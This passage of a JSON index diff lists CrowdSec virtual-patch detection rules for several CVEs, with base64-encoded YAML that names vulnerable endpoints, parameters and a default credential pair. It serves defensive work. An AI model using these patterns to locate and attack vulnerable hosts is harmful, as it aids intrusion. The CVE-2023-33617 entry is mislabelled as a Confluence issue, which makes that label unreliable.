+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2022-27926",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-79"
+ ],
+ "confidence": 3,
+ "label": "Zimbra Collaboration (ZCS) - Cross Site Scripting (CVE-2022-27926)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2022-35914": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2022-35914.yaml",
+ "version": "0.3",
+ "versions": {
+ "0.1": {
+ "digest": "6a04ea781b27eb568a1752e3e310ef59532f803fed829010fb5cf76225454bc5",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "ef4c9225bcfcc942fa5db2568a99af628cf578249b4a7477e0889f16d3ef4111",
+ "deprecated": false
+ },
+ "0.3": {
+ "digest": "e1213758c850424b37cb6ff6360fc1e1a2f12af9284d77766b06ee8c58679656",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjItMzU5MTQKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMjItMzU5MTQgZXhwbG9pdHMgIgpydWxlczoKICAtIGFuZDoKICAgIC0gem9uZXM6CiAgICAgIC0gVVJJCiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZW5kc1dpdGgKICAgICAgICB2YWx1ZTogL3ZlbmRvci9odG1sYXdlZC9odG1sYXdlZC9odG1sYXdlZHRlc3QucGhwCgpsYWJlbHM6CiAgdHlwZTogZXhwbG9pdAogIHNlcnZpY2U6IGh0dHAKICBjb25maWRlbmNlOiAzCiAgc3Bvb2ZhYmxlOiAwCiAgYmVoYXZpb3I6ICJodHRwOmV4cGxvaXQiCiAgbGFiZWw6ICJHTFBJIDw9MTAuMC4yIC0gUmVtb3RlIENvbW1hbmQgRXhlY3V0aW9uIChDVkUtMjAyMi0zNTkxNCkiCiAgY2xhc3NpZmljYXRpb246CiAgIC0gY3ZlLkNWRS0yMDIyLTM1OTE0CiAgIC0gYXR0YWNrLlQxNTk1CiAgIC0gYXR0YWNrLlQxMTkwCiAgIC0gY3dlLkNXRS03NA==",
+ "description": "Detect CVE-2022-35914 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2022-35914",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-74"
+ ],
+ "confidence": 3,
+ "label": "GLPI \u003c=10.0.2 - Remote Command Execution (CVE-2022-35914)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2022-44877": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2022-44877.yaml",
+ "version": "0.1",
+ "versions": {
+ "0.1": {
+ "digest": "3c6baf947b513098784bb4cb9d03c2e19483dd48a7660db55ee77872dd903132",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjItNDQ4NzcKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMjItNDQ4NzcgZXhwbG9pdHMgIgpydWxlczoKICAtIGFuZDoKICAgIC0gem9uZXM6CiAgICAgIC0gVVJJCiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZW5kc1dpdGgKICAgICAgICB2YWx1ZTogL2xvZ2luL2luZGV4LnBocAogICAgLSB6b25lczoKICAgICAgLSBBUkdTCiAgICAgIHZhcmlhYmxlczoKICAgICAgLSBsb2dpbgogICAgICBtYXRjaDoKICAgICAgICB0eXBlOiByZWdleAogICAgICAgIHZhbHVlOiAiW15hLXpBLVowLTlfLi1dKyIKbGFiZWxzOgogIHR5cGU6IGV4cGxvaXQKICBzZXJ2aWNlOiBodHRwCiAgY29uZmlkZW5jZTogMwogIHNwb29mYWJsZTogMAogIGJlaGF2aW9yOiAiaHR0cDpleHBsb2l0IgogIGxhYmVsOiAiQ2VudE9TIFdlYiBQYW5lbCA3IFJDRSAoQ1ZFLTIwMjItNDQ4NzcpIgogIGNsYXNzaWZpY2F0aW9uOgogICAtIGN2ZS5DVkUtMjAyMi00NDg3NwogICAtIGF0dGFjay5UMTU5NQogICAtIGF0dGFjay5UMTE5MAogICAtIGN3ZS5DV0UtNzg=",
+ "description": "Detect CVE-2022-44877 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2022-44877",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-78"
+ ],
+ "confidence": 3,
+ "label": "CentOS Web Panel 7 RCE (CVE-2022-44877)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2022-46169": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2022-46169.yaml",
+ "version": "0.3",
+ "versions": {
+ "0.1": {
+ "digest": "e251805a453d65934e5794cbb96ce34179ce20981a123103d814afdcbb788d00",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "6d2c89d06aefeacf14816f1cc755365056efcdba79265a0bb587033ca5790962",
+ "deprecated": false
+ },
+ "0.3": {
+ "digest": "00ad3b04df93d2ea077b69ecfcc1156ad0262005ab9915b740f6fb0c08fe86a1",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjItNDYxNjkKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMjItNDYxNjkgZXhwbG9pdHMgIgpydWxlczoKICAtIGFuZDoKICAgIC0gem9uZXM6CiAgICAgIC0gVVJJCiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZW5kc1dpdGgKICAgICAgICB2YWx1ZTogL3JlbW90ZV9hZ2VudC5waHAKICAgIC0gem9uZXM6CiAgICAgIC0gQVJHUwogICAgICB2YXJpYWJsZXM6CiAgICAgIC0gcG9sbGVyX2lkCiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IHJlZ2V4CiAgICAgICAgdmFsdWU6ICJbXmEtekEtWjAtOV9dIgoKbGFiZWxzOgogIHR5cGU6IGV4cGxvaXQKICBzZXJ2aWNlOiBodHRwCiAgY29uZmlkZW5jZTogMwogIHNwb29mYWJsZTogMAogIGJlaGF2aW9yOiAiaHR0cDpleHBsb2l0IgogIGxhYmVsOiAiQ2FjdGkgPD0xLjIuMjIgLSBSZW1vdGUgQ29tbWFuZCBJbmplY3Rpb24gKENWRS0yMDIyLTQ2MTY5KSIKICBjbGFzc2lmaWNhdGlvbjoKICAgLSBjdmUuQ1ZFLTIwMjItNDYxNjkKICAgLSBhdHRhY2suVDE1OTUKICAgLSBhdHRhY2suVDExOTAKICAgLSBjd2UuQ1dFLTc0CiAgIC0gY3dlLkNXRS03NwogICAtIGN3ZS5DV0UtNzgKICAgLSBjd2UuQ1dFLTg2Mw==",
+ "description": "Detect CVE-2022-46169 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2022-46169",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-74",
+ "cwe.CWE-77",
+ "cwe.CWE-78",
+ "cwe.CWE-863"
+ ],
+ "confidence": 3,
+ "label": "Cacti \u003c=1.2.22 - Remote Command Injection (CVE-2022-46169)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2023-20198": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2023-20198.yaml",
+ "version": "0.4",
+ "versions": {
+ "0.1": {
+ "digest": "100fe7c75a8b557d6ad35bc8712b996d9366631dda64d8a72e245293773ef2ae",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "4ed8476a931d3b45b210669ccab401d736bc765cc21ea02ed8fbddc21e6598ca",
+ "deprecated": false
+ },
+ "0.3": {
+ "digest": "eedd4555f876c459d0a17950f3b1311404b44d248b789221fddf73054e429bc0",
+ "deprecated": false
+ },
+ "0.4": {
+ "digest": "4d5339081ffa687619f13b3480984e056f64cab397154c187470ef1144a5fed3",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjMtMjAxOTgKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMjMtMjAxOTggZXhwbG9pdHMgIgpydWxlczoKICAtIGFuZDoKICAgIC0gem9uZXM6CiAgICAgIC0gVVJJCiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZW5kc1dpdGgKICAgICAgICB2YWx1ZTogLyU3N2VidWlfd3NtYV9odHRwcwogICAgLSB6b25lczoKICAgICAgLSBNRVRIT0QKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZXF1YWxzCiAgICAgICAgdmFsdWU6IFBPU1QKbGFiZWxzOgogIHR5cGU6IGV4cGxvaXQKICBzZXJ2aWNlOiBodHRwCiAgY29uZmlkZW5jZTogMwogIHNwb29mYWJsZTogMAogIGJlaGF2aW9yOiAiaHR0cDpleHBsb2l0IgogIGxhYmVsOiAiQ0lTQ08gSU9TIFhFIGFjY291bnQgY3JlYXRpb24gKENWRS0yMDIzLTIwMTk4KSIKICBjbGFzc2lmaWNhdGlvbjoKICAgLSBjdmUuQ1ZFLTIwMjMtMjAxOTgKICAgLSBhdHRhY2suVDE1OTUKICAgLSBhdHRhY2suVDExOTAKICAgLSBjd2UuQ1dFLTI4Nw==",
+ "description": "Detect CVE-2023-20198 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2023-20198",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-287"
+ ],
+ "confidence": 3,
+ "label": "CISCO IOS XE account creation (CVE-2023-20198)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2023-22515": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2023-22515.yaml",
+ "version": "0.3",
+ "versions": {
+ "0.1": {
+ "digest": "dc6fc69ee52353cef3ea5563dbccd5b73dae0924e0bf13e38550768a23eeee8c",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "bf313622a8c6b00bdaf421bb0766c1a0d077aaff8db50c32c4b1090dbbbf0fb9",
+ "deprecated": false
+ },
+ "0.3": {
+ "digest": "16d7f6ff1913304df2a270b3a27ba5d1165be8e3c7978489cfb9338875bb4d42",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjMtMjI1MTUKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMjMtMjI1MTUgZXhwbG9pdHMgIgpydWxlczoKICAtIGFuZDoKICAgIC0gem9uZXM6CiAgICAgIC0gVVJJCiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZW5kc1dpdGgKICAgICAgICB2YWx1ZTogL3NldHVwL3NldHVwYWRtaW5pc3RyYXRvci5hY3Rpb24KICAgIC0gem9uZXM6CiAgICAgIC0gTUVUSE9ECiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGVxdWFscwogICAgICAgIHZhbHVlOiBQT1NUCiAgICAtIHpvbmVzOgogICAgICAtIEhFQURFUlMKICAgICAgdmFyaWFibGVzOgogICAgICAgLSB4LWF0bGFzc2lhbi10b2tlbgogICAgICB0cmFuc2Zvcm06CiAgICAgIC0gbG93ZXJjYXNlCiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGVxdWFscwogICAgICAgIHZhbHVlOiAibm8tY2hlY2siCmxhYmVsczoKICB0eXBlOiBleHBsb2l0CiAgc2VydmljZTogaHR0cAogIGNvbmZpZGVuY2U6IDMKICBzcG9vZmFibGU6IDAKICBiZWhhdmlvcjogImh0dHA6ZXhwbG9pdCIKICBsYWJlbDogIkF0bGFzc2lhbiBDb25mbHVlbmNlIFByaXZlc2MgKENWRS0yMDIzLTIyNTE1KSIKICBjbGFzc2lmaWNhdGlvbjoKICAgLSBjdmUuQ1ZFLTIwMjMtMjI1MTUKICAgLSBhdHRhY2suVDE1OTUKICAgLSBhdHRhY2suVDExOTAKICAgLSBjd2UuQ1dFLTI4NA==",
+ "description": "Detect CVE-2023-22515 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2023-22515",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-284"
+ ],
+ "confidence": 3,
+ "label": "Atlassian Confluence Privesc (CVE-2023-22515)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2023-24489": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2023-24489.yaml",
+ "version": "0.1",
+ "versions": {
+ "0.1": {
+ "digest": "c7ec7c49ee24ba7ba855e3ae256ec2d128b51c7771d676dc150aa3cc060ca785",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjMtMjQ0ODkKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMjMtMjQ0ODkgZXhwbG9pdHMgIgpydWxlczoKICAtIGFuZDoKICAgIC0gem9uZXM6CiAgICAgIC0gVVJJCiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZW5kc1dpdGgKICAgICAgICB2YWx1ZTogL2RvY3VtZW50dW0vdXBsb2FkLmFzcHgKICAgIC0gem9uZXM6CiAgICAgIC0gTUVUSE9ECiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGVxdWFscwogICAgICAgIHZhbHVlOiBQT1NUCiAgICAtIHpvbmVzOgogICAgICAtIEFSR1MKICAgICAgdmFyaWFibGVzOgogICAgICAgLSB1cGxvYWRpZAogICAgICBtYXRjaDoKICAgICAgICB0eXBlOiBjb250YWlucwogICAgICAgIHZhbHVlOiAiLi4iCiAgICAtIHpvbmVzOgogICAgICAtIFJBV19CT0RZCiNpdCBzZWVtcyAnUGFnZV9Mb2FkJyBpcyB0aGUgaGFuZGxlciB0aGF0IGNhbiBiZSBhYnVzZWQsIG1heWJlIHNvbWUgb3RoZXJzIGNhbj8KICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogY29udGFpbnMKICAgICAgICB2YWx1ZTogIlBhZ2VfTG9hZCIKbGFiZWxzOgogIHR5cGU6IGV4cGxvaXQKICBzZXJ2aWNlOiBodHRwCiAgY29uZmlkZW5jZTogMwogIHNwb29mYWJsZTogMAogIGJlaGF2aW9yOiAiaHR0cDpleHBsb2l0IgogIGxhYmVsOiAiQ2l0cml4IFNoYXJlRmlsZSBSQ0UgKENWRS0yMDIzLTI0NDg5KSIKICBjbGFzc2lmaWNhdGlvbjoKICAgLSBjdmUuQ1ZFLTIwMjMtMjQ0ODkKICAgLSBhdHRhY2suVDE1OTUKICAgLSBhdHRhY2suVDExOTAKICAgLSBjd2UuQ1dFLTI4NA==",
+ "description": "Detect CVE-2023-24489 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2023-24489",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-284"
+ ],
+ "confidence": 3,
+ "label": "Citrix ShareFile RCE (CVE-2023-24489)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2023-33617": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2023-33617.yaml",
+ "version": "0.3",
+ "versions": {
+ "0.1": {
+ "digest": "27d605f7f1aa991127741c047ca8c4af1e0113feafb2073fd9aa04793c311d6e",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "15df9e2f71f34f037f96f7a9b61e6cbab993f3de3708ee92cda32bec84412391",
+ "deprecated": false
+ },
+ "0.3": {
+ "digest": "399c24c2222b455a5e9030ad0a31b58261e62724051655f7b98be4cdc8cc96d3",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjMtMzM2MTcKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMjMtMzM2MTcgZXhwbG9pdHMgIgpydWxlczoKICAtIGFuZDoKICAgIC0gem9uZXM6CiAgICAgIC0gTUVUSE9ECiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZXF1YWxzCiAgICAgICAgdmFsdWU6IHBvc3QKICAgIC0gem9uZXM6CiAgICAgIC0gVVJJCiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZW5kc1dpdGgKICAgICAgICB2YWx1ZTogL2JvYWZvcm0vYWRtaW4vZm9ybWxvZ2luCiAgICAtIHpvbmVzOgogICAgICAtIEJPRFlfQVJHUwogICAgICB2YXJpYWJsZXM6CiAgICAgICAtIHVzZXJuYW1lCiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZXF1YWxzCiAgICAgICAgdmFsdWU6ICJhZG1pbiIKICAgIC0gem9uZXM6CiAgICAgIC0gQk9EWV9BUkdTCiAgICAgIHZhcmlhYmxlczoKICAgICAgIC0gcHNkCiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZXF1YWxzCiAgICAgICAgdmFsdWU6ICJwYXJrcyIKICAtIGFuZDoKICAgIC0gem9uZXM6CiAgICAgIC0gTUVUSE9ECiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGVxdWFscwogICAgICAgIHZhbHVlOiBQT1NUCiAgICAtIHpvbmVzOgogICAgICAtIFVSSQogICAgICB0cmFuc2Zvcm06CiAgICAgIC0gbG93ZXJjYXNlCiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGVuZHNXaXRoCiAgICAgICAgdmFsdWU6IC9ib2Fmb3JtL2FkbWluL2Zvcm1waW5nCiAgICAtIHpvbmVzOgogICAgICAtIEJPRFlfQVJHUwogICAgICB2YXJpYWJsZXM6CiAgICAgIC0gdGFyZ2V0X2FkZHIKICAgICAgdHJhbnNmb3JtOgogICAgICAtIGxvd2VyY2FzZQogICAgICBtYXRjaDoKICAgICAgICB0eXBlOiByZWdleAogICAgICAgIHZhbHVlOiAiW15hLWYwLTk6Ll0rIgpsYWJlbHM6CiAgdHlwZTogZXhwbG9pdAogIHNlcnZpY2U6IGh0dHAKICBjb25maWRlbmNlOiAzCiAgc3Bvb2ZhYmxlOiAwCiAgYmVoYXZpb3I6ICJodHRwOmV4cGxvaXQiCiAgbGFiZWw6ICJBdGxhc3NpYW4gQ29uZmx1ZW5jZSBQcml2ZXNjIChDVkUtMjAyMy0zMzYxNykiCiAgY2xhc3NpZmljYXRpb246CiAgIC0gY3ZlLkNWRS0yMDIzLTMzNjE3CiAgIC0gYXR0YWNrLlQxNTk1CiAgIC0gYXR0YWNrLlQxMTkwCiAgIC0gY3dlLkNXRS03OA==",
+ "description": "Detect CVE-2023-33617 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2023-33617",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-78"
+ ],
+ "confidence": 3,
+ "label": "Atlassian Confluence Privesc (CVE-2023-33617)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2023-34362": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2023-34362.yaml",
+ "version": "0.4",
+ "versions": {
+ "0.1": {
+ "digest": "b032c0e88f383ffb1228287b53f61443eb9c91db1cd730c4e10dd42bf44d86d9",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "be808170ee4c42540423351f6d188b8cd22899810357f188d404a61f07b64dc7",
+ "deprecated": false
+ },
+ "0.3": {
+ "digest": "f579f526676ecaded1b1048503b9fd738144a67b2f7f0b14d6d770c35aa98cf6",
+ "deprecated": false
+ },
+ "0.4": {
+ "digest": "1af2e304188e802a2aedc45557e41c2e6debac3d8246ec1e44d57f7d664c9677",
+ "deprecated": false
+ }
+ },
+ "content": "Cm5hbWU6IGNyb3dkc2VjdXJpdHkvdnBhdGNoLUNWRS0yMDIzLTM0MzYyCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IENWRS0yMDIzLTM0MzYyIGV4cGxvaXRzICIKcnVsZXM6CiAgLSBhbmQ6CiAgICAtIHpvbmVzOgogICAgICAtIFVSSQogICAgICB0cmFuc2Zvcm06CiAgICAgIC0gbG93ZXJjYXNlCiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGVxdWFscwogICAgICAgIHZhbHVlOiAvbW92ZWl0aXNhcGkvbW92ZWl0aXNhcGkuZGxsCiAgICAtIHpvbmVzOgogICAgICAtIEFSR1MKICAgICAgdmFyaWFibGVzOgogICAgICAtIGFjdGlvbgogICAgICBtYXRjaDoKICAgICAgICB0eXBlOiBlcXVhbHMKICAgICAgICB2YWx1ZTogbTIKICAgICAgdHJhbnNmb3JtOgogICAgICAtIGxvd2VyY2FzZQogICAgLSB6b25lczoKICAgICAgLSBNRVRIT0QKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZXF1YWxzCiAgICAgICAgdmFsdWU6IFBPU1QKICAgIC0gem9uZXM6CiAgICAgIC0gSEVBREVSU19OQU1FUwogICAgICB0cmFuc2Zvcm06CiAgICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZXF1YWxzCiAgICAgICAgdmFsdWU6ICd4LXNpbG9jay10cmFuc2FjdGlvbicKICAgIC0gem9uZXM6CiAgICAgIC0gSEVBREVSU19OQU1FUwogICAgICB0cmFuc2Zvcm06CiAgICAgICAtIGxvd2VyY2FzZQogICAgICBtYXRjaDoKICAgICAgICB0eXBlOiByZWdleAogICAgICAgIHZhbHVlOiAnLit4LXNpbG9jay10cmFuc2FjdGlvbicKbGFiZWxzOgogIHR5cGU6IGV4cGxvaXQKICBzZXJ2aWNlOiBodHRwCiAgY29uZmlkZW5jZTogMwogIHNwb29mYWJsZTogMAogIGJlaGF2aW9yOiAiaHR0cDpleHBsb2l0IgogIGxhYmVsOiAiTU9WRWl0IFRyYW5zZmVyIC0gUmVtb3RlIENvZGUgRXhlY3V0aW9uIChDVkUtMjAyMy0zNDM2MikiCiAgY2xhc3NpZmljYXRpb246CiAgIC0gY3ZlLkNWRS0yMDIzLTM0MzYyCiAgIC0gYXR0YWNrLlQxNTk1CiAgIC0gYXR0YWNrLlQxMTkwCiAgIC0gY3dlLkNXRS04OQ==",
+ "description": "Detect CVE-2023-34362 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2023-34362",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-89"
+ ],
+ "confidence": 3,
+ "label": "MOVEit Transfer - Remote Code Execution (CVE-2023-34362)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2023-3519": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2023-3519.yaml",
+ "version": "0.2",
+ "versions": {
+ "0.1": {
+ "digest": "459cd434b8da480eaa0bfbbefc9806ca8c445a64757cbd339f1f7b6b32082f6f",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "57441c54adbcb8cd88ba205b1f1358dfc10c1779662efe7e9854469b986c5f54",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjMtMzUxOQpkZXNjcmlwdGlvbjogIkRldGVjdCBDVkUtMjAyMy0zNTE5IGV4cGxvaXRzICIKcnVsZXM6CiAgLSBhbmQ6CiAgICAtIHpvbmVzOgogICAgICAtIE1FVEhPRAogICAgICBtYXRjaDoKICAgICAgICB0eXBlOiBlcXVhbHMKICAgICAgICB2YWx1ZTogR0VUCiAgICAtIHpvbmVzOgogICAgICAtIFVSSQogICAgICB0cmFuc2Zvcm06CiAgICAgIC0gbG93ZXJjYXNlCiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGVuZHNXaXRoCiAgICAgICAgdmFsdWU6IC9nd3Rlc3QvZm9ybXNzc28KICAgIC0gem9uZXM6CiAgICAgIC0gQVJHUwogICAgICB2YXJpYWJsZXM6CiAgICAgICAtIHRhcmdldAogICAgICB0cmFuc2Zvcm06CiAgICAgIC0gbGVuZ3RoCiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGd0ZQogICAgICAgIHZhbHVlOiAxMDAKbGFiZWxzOgogIHR5cGU6IGV4cGxvaXQKICBzZXJ2aWNlOiBodHRwCiAgY29uZmlkZW5jZTogMwogIHNwb29mYWJsZTogMAogIGJlaGF2aW9yOiAiaHR0cDpleHBsb2l0IgogIGxhYmVsOiAiQ2l0cml4IFJDRSAoQ1ZFLTIwMjMtMzUxOSkiCiAgY2xhc3NpZmljYXRpb246CiAgIC0gY3ZlLkNWRS0yMDIzLTM1MTkKICAgLSBhdHRhY2suVDE1OTUKICAgLSBhdHRhY2suVDExOTAKICAgLSBjd2UuQ1dFLTk0",
+ "description": "Detect CVE-2023-3519 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2023-3519",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-94"
+ ],
+ "confidence": 3,
+ "label": "Citrix RCE (CVE-2023-3519)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2023-38205": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2023-38205.yaml",
+ "version": "0.1",
+ "versions": {
+ "0.1": {
+ "digest": "d2c3666c0a337304d92b737ca02ad1aed164e31439eb6596a848688f0c27b178",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjMtMzgyMDUKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMjMtMzgyMDUgZXhwbG9pdHMgIgpydWxlczoKICAtIGFuZDoKICAgIC0gem9uZXM6CiAgICAgIC0gVVJJCiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogY29udGFpbnMKICAgICAgICB2YWx1ZTogLi5jZmlkZS93aXphcmRzL2NvbW1vbi8KbGFiZWxzOgogIHR5cGU6IGV4cGxvaXQKICBzZXJ2aWNlOiBodHRwCiAgY29uZmlkZW5jZTogMwogIHNwb29mYWJsZTogMAogIGJlaGF2aW9yOiAiaHR0cDpleHBsb2l0IgogIGxhYmVsOiAiQWRvYmUgQ29sZEZ1c2lvbiBhY2Nlc3MgY29udHJvbCBieXBhc3MgKENWRS0yMDIzLTM4MjA1KSIKICBjbGFzc2lmaWNhdGlvbjoKICAgLSBjdmUuQ1ZFLTIwMjMtMzgyMDUKICAgLSBhdHRhY2suVDE1OTUKICAgLSBhdHRhY2suVDExOTAKICAgLSBjd2UuQ1dFLTI4NA==",
+ "description": "Detect CVE-2023-38205 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2023-38205",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-284"
+ ],
+ "confidence": 3,
+ "label": "Adobe ColdFusion access control bypass (CVE-2023-38205)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2023-40044": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2023-40044.yaml",
+ "version": "0.2",
+ "versions": {
+ "0.1": {
+ "digest": "2e8db7d8cb223e1cb1a57c4621b1720d88174c3398183948c8901645f78ee338",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "e49809530908e16a9628fece23d934be09d9756fc64f795d7311e70565a2f32e",
+ "deprecated": false
+ }
+ },
